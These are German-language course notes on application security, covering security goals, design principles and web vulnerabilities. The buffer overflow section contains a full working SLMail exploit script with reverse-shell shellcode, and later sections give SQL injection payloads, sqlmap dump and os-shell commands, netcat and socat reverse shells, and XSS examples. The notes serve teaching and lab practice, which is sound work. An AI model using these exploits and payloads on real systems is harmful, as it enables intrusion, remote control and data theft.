Anwendungssicherheit

Notes for the Anwendungssicherheit (app security) course at HdM Stuttgart

Jakob Waibel

2022-02-06

1 Introduction

1.1 Contributing

These study materials are heavily based on professor Heuzeroth’s “Anwendungssicherheit” lecture at HdM Stuttgart.

Found an error or have a suggestion? Please open an issue on GitHub (github.com/jakwai01/application-security):

QR code to source repository

If you like the study materials, a GitHub star is always appreciated :)

1.2 License

AGPL-3.0 license badge

Uni App Security Notes (c) 2022 Jakob Waibel and contributors

SPDX-License-Identifier: AGPL-3.0

2 Aufgabe 1: Grundlagen und Schutzziele (1+3+1+1+2 = 8 Punkte)

2.1 Was ist sichere Software?

2.2 Was ist IT-Sicherheit?

Sicherheit ist die Eigenschaft eines Systems, die dadurch gekennzeichnet ist, dass die als bedeutsam angesehen Bedrohungen, die sich gegen die schützenswerten Güter richten, durch besondere Maßnahmen soweit ausgeschlossen sind, dass das verbleibende Risiko akzeptiert wird.

Informationssicherheit ist die Sicherheit von IT-Systemen und ihrer Umgebung gegenüber Bedrohungen von außen, insbesondere gegenüber Angriffe durch Menschen.

2.3 Schutzziele/Sicherheitskriterien

CIA Security Objectives

Weitere Schutzziele

2.4 Sicherheitsaspekte

Aspekte

2.5 Warum Sicherheit?

Fehler können in allen Phasen des Entwicklungsprozesses auftreten (Anforderungen, Architektur, Entwurf, Implementierung, Einsatz)

Kosten der Fehlerbehebung kostet nach Produktionsauslieferung zwischen 30x-100x im Vergleich zu dem, was es beim Entwurf gekostet hätte.

2.6 Sicherheitsbegriffe

Bedrohung

Schwachstelle/Sicherheitslücke

Ein Fehler führt zusammen mit einer Bedrohung zu einer Schwachstelle, die durch einen Angriff ausgenutzt werden kann

Angriff = Motiv (Ziele) + Methoden + Schwachstelle

Exploit

2.7 Erforschung von Schwachstellen

2.8 Wo kann man sich über Schwachstellen informieren?

2.9 Wie bestimmt man wie scherwiegend eine Schwachstelle ist?

Fragen, die man sich beim erstellen eines Bewertungssystems fragen sollte

2.10 Spannungsfeld von IT-Sicherheit

Spannungsfeld IT-Sicherheit

IT-Sicherheit bewegt sich im Spannungsfeld von Funktionalität und Gebrauchstauglichkeit. Mehr Sicherheit bedeutet in der Regel mehr Einschränkungen und damit weniger Funktionalität und weniger Gebrauchstauglichkeit

2.11 Fazit

3 Aufgabe 2: Thema sicherer Entwurf (3+1 = 4 Punkte)

3.1 Entwurfsprinzipien

Entwurfsprinzipien

Manchmal stehen zwei oder mehr Entwurfsprinzipien in Konflikt zueinander. In diesem Fall muss man abwägen, welches im konkreten Fall das wichtigere Prinzip bei der Umsetzung ist. So kann es beispielsweise sinnvoll sein, “Einfachheit (Ökonomie des Mechanismus)” zu Gunsten von “Mehrstufige Verteidigung (Trennung von Privilegien)” zu opfern. Ein anderes Beispiel ist, dass kompliziertere Passwortanforderungen, die psychologische Akzeptanz behindern.

3.1.1 Minimierung der Angriffsfläche

3.1.2 Sichere Vorbelegung

3.1.3 Prinzip des kleinsten Privilegs

3.1.4 Prinzip der mehrstufigen Verteidigung

3.1.5 Sicheres Verhalten bei Fehlern bzw. Ausnahmen

3.1.6 Behandle externe Systeme als unsicher

3.1.7 Pflichtentrennung

3.1.8 Verlasse Dich nicht auf Sicherheit durch Verschleierung

3.1.9 Einfachheit/KISS

3.1.10 Behebe Sicherheitslöcher richtig

3.1.11 Eingabevalidierung/Ausgabekodierung

3.1.12 Sichere das schwächste Glied

3.1.13 Ökonomie des Mechanismus

3.1.14 Vollständige Vermittlung

3.1.15 Kleinster gemeinsamer Mechanismus

3.1.16 Psychologische Akzeptanz

3.1.17 Zurückhaltung bei Vertrauen

3.1.18 Schutz der Privatssphäre

3.1.19 Offener Entwurf

3.2 Stride Flussdiagramm - Entwurfsprinzipien

Datenflussdiagramm

3.3 Anwendung des Beispiels auf STRIDE

4 Aufgabe 3: Penetration Test: Buffer Overflow (10 Punkte)

4.1 Was ist ein Buffer Overflow?

Ein Buffer Overflow tritt auf, wenn die Länge von Eingaben nicht überprüft wird.

Bei einem Buffer Overflow überschreitet ein Eingabewert den für ihn im Speicher vorgesehenen Platz und überschreibt dadurch andere wichtige Speicherbereiche. Überschrieben wird typischerweise der Speicherbereich, in dem sich die Rücksprungadresse aus einer aufgerufenen Funktion befindet, da man dadurch als Angreifer den Programmablauf kontrollieren kann.

In folgendem Code kann ein Buffer Overflow auftreten, da die Länge des Inputs nicht geprüft wird:

#include <stdio.h>
#include <string.h>

int main (int argc, char** argv)
{
    char buffer[500];
    strcpy(buffer, argv[1]);

    return 0
}

4.2 Wie findet man einen Buffer Overflow?

4.3 Verwendung von Windows Debuggern

4.4 Verhalten des Stacks bei einem Buffer Overflow

Stack

4.5 Vorgehen

4.5.1 Fuzzing/Taking Control of EIP

4.5.2 Bad Characters

4.5.3 Redirect Execution

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4

4.5.4 Schadcode generieren

msfvenom [Optionen] <var=val> (/usr/share/metasploit-framework)

-p <payload> Zu erzeugender Schadcode (payload) Beispiel: `-p windows/shell_reverse_tcp`
-f <format> Ausgabeformat, e.g. c für Ausgabe in Sprache C. --help-formats zeigt verfügbare Formate an
-a <architecture> Zielarchitektur des Schadcodes, z.B. `x86` für 32bit
--platform <platform> Zielplatform des Schadcodes, z.B. `windows`
-b <list> Liste im erzeugten Code zu vermeidender problematischer Zeichen (bad characters).
-e <encoder> Kodierung des Shellcodes, z.B. `x86/shikata_ga_nai`
-l <module_type> Modultyp auflisten. `module_type` kann sein: `payloads`, `encoders`, `nops`, `all`

Problem: Der erzeugte Schadcode enthält zu Beginn den Dekodierer, um den eigentlichen Schadcode aus den Bytes zurückzugewinnen

Abhilfe

buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 16 + shellcode + "C" *(3500-2606-4-351-16)

Sonderfall Manchmal passt der Schadcode vom Umfang her nicht mehr in den verfügbaren Speicherplatz ab der Adresse auf die ESP zeigt.

Lösung

4.5.5 Resuliterendes SL-Mail Python-Skript

#!/usr/bin/python

def connect_to_SLMail(ip, buffer):
    """Connecting to SLMail server using provided buffer for password field"""
    import socket
    try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip,110))      # connect to IP, POP3 port
        data=s.recv(1024)                   # receive banner
        print(data)

        s.send('USER root\r\n')             # send username "test"
        data=s.recv(1024)                   # receive reply
        print(data)

        s.send('PASS ' + buffer + '\n\n')   # send password
        data=s.recv(1024)                   # receive reply
        print(data)
        s.send('QUIT\r\n')                  # send "QUIT"
        s.close()
    except:
        print "Could not connect to POP3 port\n"


def fuzz(ip):
    """Fuzzing password field of SLMail server to detect crash"""
    buffer=["A"]
    counter=100
    while len(buffer) <= 30:
        buffer.append("A"*counter)
        counter=counter+200
    for string in buffer:
        print("Fuzzing PASS of {0} with {1} bytes".format(ip, len(string)))
        connect_to_SLMail(ip, string)


def replicate_crash(ip):
    """Replicating the crash using a string of A\'s with the neccessary length"""
    buffer = "A"*2700
    connect_to_SLMail(ip, buffer)


def attack_with_unique_string(ip):
    """Connecting to SLMail server with a unique string created by metasploit's pattern_create.rb script"""
#    Using a unique string to determine where each part of the input is placed on victim machine.
#    Unique string has been created with:
#      /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <LENGTH>
#
#   Offset of string in EIP register can then be determined with:
#      /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <PATTERN>
#
    buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9'
    connect_to_SLMail(ip, buffer)


def check_values_attack_input(ip):
    """Checking if EIP is filled with captial 'B' letters"""
    buffer="A"*2606 + "B"*4 + "C"*90
    connect_to_SLMail(ip, buffer)


def determine_bad_characters(ip):
    # All hex characters:
    badchars=("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
          "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
          "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
          "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
          "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
          "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
          "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
          "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
          "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
          "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
          "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
          "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
          "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
          "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
          "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

    # All acceptable hex characters (\x00, \x0a and \x0d have been removed):
#    badchars=("x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f"
#          "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
#          "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
#          "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
#          "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
#          "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
#          "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
#          "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
#          "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
#          "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
#          "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
#          "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
#          "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
#          "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
#          "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

    buffer='A'*2606 + 'B'*4 + bad_chars + 'C'*(3500-2606-4-255)
    connect_to_SLMail(ip, buffer)


def attack_with_payload(ip):
    """Use a reverse shell payload generated by msfvenom such that victim connects reverse shell to port 443 on 192.168.64.137"""
#   Determine opcode of 'JMP ESP' using
#      /usr/share/metasploit-framework/tools/exploit/nasm_shell
#
#   Opcode is FFE4
#
#  Search for this opcode in the whole slmfc.dll using mona in ImmunityDebugger:
#      !mona find -s '\xff\xe4' -m slmfc.dll
#
#  A suitable address without bad characters is:
#      5F4A358F
#
#  Veriying that this address really holds the "JMP ESP" instruction
#  using the debuggers button for "Go to address in disassembler"
#
#  slmfc is a suitable module, since it is statically loaded to the same memory address
#  and is not protected (No DEP, no ASLR, no NX). This can be confirmed by:
#     !mona modules
#
# Generate reverse shell payload using:
#    /usr/share/metasploit-framework/msfvenom -p windows/shell_reverse_tcp LHOST=192.168.64.137 LPORT=443 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
#

    # Address has to be defined in reverse order because of little endian encoding:
    address_of_jmp_esp = '\x8F\x35\x4a\x5F'
    reverse_shell_code = ("\xbb\x4c\xd1\x2d\x04\xdb\xc9\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
                          "\x52\x31\x58\x12\x03\x58\x12\x83\x8c\xd5\xcf\xf1\xf0\x3e\x8d"
                          "\xfa\x08\xbf\xf2\x73\xed\x8e\x32\xe7\x66\xa0\x82\x63\x2a\x4d"
                          "\x68\x21\xde\xc6\x1c\xee\xd1\x6f\xaa\xc8\xdc\x70\x87\x29\x7f"
                          "\xf3\xda\x7d\x5f\xca\x14\x70\x9e\x0b\x48\x79\xf2\xc4\x06\x2c"
                          "\xe2\x61\x52\xed\x89\x3a\x72\x75\x6e\x8a\x75\x54\x21\x80\x2f"
                          "\x76\xc0\x45\x44\x3f\xda\x8a\x61\x89\x51\x78\x1d\x08\xb3\xb0"
                          "\xde\xa7\xfa\x7c\x2d\xb9\x3b\xba\xce\xcc\x35\xb8\x73\xd7\x82"
                          "\xc2\xaf\x52\x10\x64\x3b\xc4\xfc\x94\xe8\x93\x77\x9a\x45\xd7"
                          "\xdf\xbf\x58\x34\x54\xbb\xd1\xbb\xba\x4d\xa1\x9f\x1e\x15\x71"
                          "\x81\x07\xf3\xd4\xbe\x57\x5c\x88\x1a\x1c\x71\xdd\x16\x7f\x1e"
                          "\x12\x1b\x7f\xde\x3c\x2c\x0c\xec\xe3\x86\x9a\x5c\x6b\x01\x5d"
                          "\xa2\x46\xf5\xf1\x5d\x69\x06\xd8\x99\x3d\x56\x72\x0b\x3e\x3d"
                          "\x82\xb4\xeb\x92\xd2\x1a\x44\x53\x82\xda\x34\x3b\xc8\xd4\x6b"
                          "\x5b\xf3\x3e\x04\xf6\x0e\xa9\xeb\xaf\x50\xa0\x84\xad\x50\xb3"
                          "\xef\x3b\xb6\xd9\x1f\x6a\x61\x76\xb9\x37\xf9\xe7\x46\xe2\x84"
                          "\x28\xcc\x01\x79\xe6\x25\x6f\x69\x9f\xc5\x3a\xd3\x36\xd9\x90"
                          "\x7b\xd4\x48\x7f\x7b\x93\x70\x28\x2c\xf4\x47\x21\xb8\xe8\xfe"
                          "\x9b\xde\xf0\x67\xe3\x5a\x2f\x54\xea\x63\xa2\xe0\xc8\x73\x7a"
                          "\xe8\x54\x27\xd2\xbf\x02\x91\x94\x69\xe5\x4b\x4f\xc5\xaf\x1b"
                          "\x16\x25\x70\x5d\x17\x60\x06\x81\xa6\xdd\x5f\xbe\x07\x8a\x57"
                          "\xc7\x75\x2a\x97\x12\x3e\x4a\x7a\xb6\x4b\xe3\x23\x53\xf6\x6e"
                          "\xd4\x8e\x35\x97\x57\x3a\xc6\x6c\x47\x4f\xc3\x29\xcf\xbc\xb9"
                          "\x22\xba\xc2\x6e\x42\xef")
    # To avoid overwriting of the shellcode when it is decoded,
    # 16 NOPs (opcode \x90) have to be inserted at the orginial position
    # of the payload (address where ESP points to).
    buffer='A'*2606 + address_of_jmp_esp + '\x90'*16 + reverse_shell_code + 'C'*(3500-2606-4-351-16)
    print "Attacking SLMail with reverse shell payload"
    connect_to_SLMail(ip, buffer)


if __name__ == "__main__":

    import sys
    ERR_MISSING_ARGUMENT = 1
    ERR_INVALID_FORMAT = 2
    ERR_INVALID_VALUES = 3

    if (len(sys.argv)) != 2:
        print("Usage: {} IPv4-address".format(sys.argv[0]))
        sys.exit(ERR_MISSING_ARGUMENT)

    ip = sys.argv[1]
    octets = ip.split('.')
    if (len(octets) != 4):
        print "Invalid format of IP address"
        sys.exit(ERR_INVALID_FORMAT)

    for o in octets:
        try:
            num = int(o)
        except:
            print "Invalid values in IP address"
            sys.exit(ERR_INVALID_VALUES)

        if (num < 0) or (num > 255):
            print "Invalid values in IP address"
            sys.exit(ERR_INVALID_VALUES)

    ip = octets[0] + '.' + octets[1] + '.' + octets[2] + '.' + octets[3]

    print "Attacking IP " + ip

    # Win7 local VM to attack:
    # ip = 192.168.64.135

#   Fuzzing the SLMail server to find vulnerability
#    fuzz(ip)

#   Replicate the crash using a string with suitable length
#    replicate_crash(ip)

#   Send unique string to determine position of input on victim machine:
#    attack_with_unique_string(ip)

#   Determine which characters result in a truncation of the input in the memory of the victim machine
#    determine_bad_characters(ip)

#   Attack victim machine with reverse shell payload:
    attack_with_payload(ip)

5 Aufgabe 4: Thema Sicherheit von Web-Anwendungen (4+4+3+2 = 13 Punkte)

5.1 Evaluation verschiedener Schutzmechanismen

Firewalls verhindern keine Angriffe über erlaubte Ports

Beispiel: Angriffe gegen eine Web-Anwendung über das HTTP-Protokoll und TCP-Ports 80/443

Verschlüsselung sichert Integrität der übertragenen Daten, damit werden aber auch Angriffe “sicher” zum Zielsystem übertragen

Beispiel: Verhindern keine Angriffe gegen Serversysteme auf Anwendungsebene

Frameworks vermeiden Schwachstellen, da sie gut getestet sind, aber sind ein Risiko für den Datenschutz und können Fehler über dependencies einschleusen

Beispiel: Wenn über CDNs eingebunden wird jeder Aufruf beim Anbieter protokolliert - Laden viele Pakete nach

5.2 Angriffsziele

5.3 OWASP Top 10 Übersicht

OWASP Top 10

5.4 A1: Fehlerhafte Berechtigungsprüfung

5.5 A2: Fehlerhafte Kryptographie

5.6 A3: Injektionen

5.6.1 SQL-Injection

Example: Admin-Login

http://site.com/login.cgi?user=admin'--&password=secret
SELECT * FROM user WHERE user='admin'--' and password='secret'

Example: Benutzer zum Admin machen

Erwarterter Aufruf:

http://site.com/find.cgi?id=42

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE id=42

Aufruf durch Angreifer:

http://site.com/find.cgi?id=42;UPDATE%20USER%20SET%20TYPE="admin"%20WHERE%20id=13

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE id=42; UPDATE USER SET TYPE="admin" WHERE id=13

Example: Ausführen eines Kommandos auf Microsoft SQL Servern

Erwarteter Aufruf:

http://site.com/find.cgi?search=something

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE search LIKE `%something`

Aufruf durch Angreifer:

http://site.com/find.cgi?search=something';GO+EXEC+cmdshell('format+C')+--

Erzeugtes SQL:

SELECT author, subject, text FROM articles WHERE search LIKE '%something'; GO EXEC cmdshell('format C') --%'

Example: SQL-Injektion durch blindes Vertrauen in Frameworks, z.B. Hibernate Query Language (HQL)

Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");

Erwarteter Aufruf:

http://site.com/accountView?id=1

Aufruf durch Angreifer:

http://site.com/accountView?id=' or '1'='1

5.6.2 Blind SQL-Injection

sqlmap -u http://192.168.1.42 --crawl=1

Crawl gibt die Tiefe an bis zu der Hyperlinks verfolgt werden sollen.

Sämtliche mögliche Daten aus der Datenbank über verwundene Parameter auslesen:

sqlmap -u http://192.168.1.42/aktion.php?4711 --dbms=mysql --dump --threads=5

dump sorgt für Auslesen der Daten. threads gibt an mit wie vielen Threads gleichzeitig sqlmap arbeiten soll.

sqlmap -u http://192.168.1.42/aktion.php?4711 --dbms=mysql --os-shell
--dbs # Datenbanken auf dem Zielsystem auflisten
--batch # Keine Interaktionen mit dem Nutzer
--level=<LEVEL> # Testtiefe, LEVEL kann die Werte 1 bis 5
--risk=RISK # Risikostufe der durchzuführenden Tests; RISK kann die Werte 1 bis 3 haben
--identify-waf # Web Applications Firewall identifizieren
--tamper=SCRIPT # Web Application Firewall umgehen, e.g --tamper=apostrophemask, apostrophenullencode
--dbms=DBMS # Datenbanksystem nicht automatisch identifizieren, sondern die Angabe von DBMS verwenden
--all # Alle mögliche Informationen automatisch ermitteln, e.g. Datenbank mit Version, Standardtabellen, -splaten, -benutzen etc.

Typisches Vorgehen

5.6.3 SQL-Injection-Demos

Demo #1: SQL-Injection
Provozieren einer Fehlermeldung
'

Auslesen der Datenbankversion
1' UNION SELECT @@version; #
1' UNION SELECT null,@@version; #

Auslesen der Tabellen/Spalten:
' UNION SELECT table_schema,table_name FROM information_schema.tables;#
' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'users';#

Auslesen der Benutzertabelle:
' UNION SELECT user,password FROM users;#

Auslesen von Dateien:
' UNION SELECT null,LOAD_FILE('/etc/passwd');#
1' UNION SELECT null,LOAD_FILE('/etc/passwd');#

Demo mit sqlmap:
sqlmap -u "http://opfer/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low;PHPSESSID=6tifu4kbh73mve4auu75gq0133" -p id --string="Surname"

Mögliche Optionen:
-f, --current-db, -D dva –tables, -D dvwa -T users --dump

Demo #2: Blind-SQL-Injection
Demo mit sqlmap:
sqlmap -u "http://opfer/dvwa/vulnerabilities/sqli_blind/index.php?id=1&Submit=submit" --cookie="security=low;PHPSESSID=6tifu4kbh73mve4auu75gq0133" -p id --string=Surname

Mögliche Optionen:
-f, -b, --current-user,--dbs, -D dvwa –tables, -D dvwa -T users --dump

5.6.4 DVWA

Low-Level

'OR '1' = '1' UNION ALL SELECT first_name, password FROM users;#
'OR '1' = '1' UNION ALL SELECT version(), user();#
?id=a'%20UNION%20SELECT%20first_name,%20password%20FROM%20users;--%20-&Submit=Submit

Medium-Level

Escape String but not having quotes around parameter

?id=a%20UNION%20SELECT%20first_name,%20password%20FROM%20users;--%20-&Submit=Submit

5.6.5 Gegenmaßnahmen

5.6.6 Command Injection

Einschleusen von Befehlen, die direkt vom Betriebssystem verarbeitet werden.

Um zu prüfen, welche der Anwendungen installiert ist, kann which verwendet werden e.g. which socat.

Netcat:

nc -lnvp 4242 # Listener
;nc -e /bin/sh 10.0.0.1 4242 # Victim

Socat:

socat -dd TCP4-LISTEN:4443 STDOUT # Listener
;socat TCP4:10.0.0.1:4443 EXEC:/bin/bash

5.6.7 Cross-Site Scripting (XSS)

Einschleusen von “schadhaftem” Skriptcode in den Browser des Opfers. Charakteristisch ist, dass der Schadcode im Kontext und mit Zugriffsrechten des Opfers ausgeführt wird.

Reflektiertes XSS

Benutzereingabe wird vom Server direkt zurückgegeben

Normaler Aufruf:

http://searchengine.com?query=Suchbegriff
Sie suchten nach: Suchbegriff

Angriff:

http://searchengine.com?query=
<script">alert("XSS")</script>
Sie suchten nach: <sript ...>...</script>

Persistentes Cross-Site Scripting

Skriptcode wird dauerhaft innerhalb der Anwendung gespeichert (z.B. bei Foren, Gästebüchern, MySpace)

Angriff:

http://guestbook.com?entry=Tolle%20Seite!<script>
alert("XSS")</script>

Ergebnis:

Tolle Seite!<script">alert("XSS")</script>

Lokales (DOM-basiertes) Cross-Site Scripting

Beispiel:

<h1>Welcome!</h1>
Hi
<script>
  var pos = document.URL.indexOf("name=") + 5;
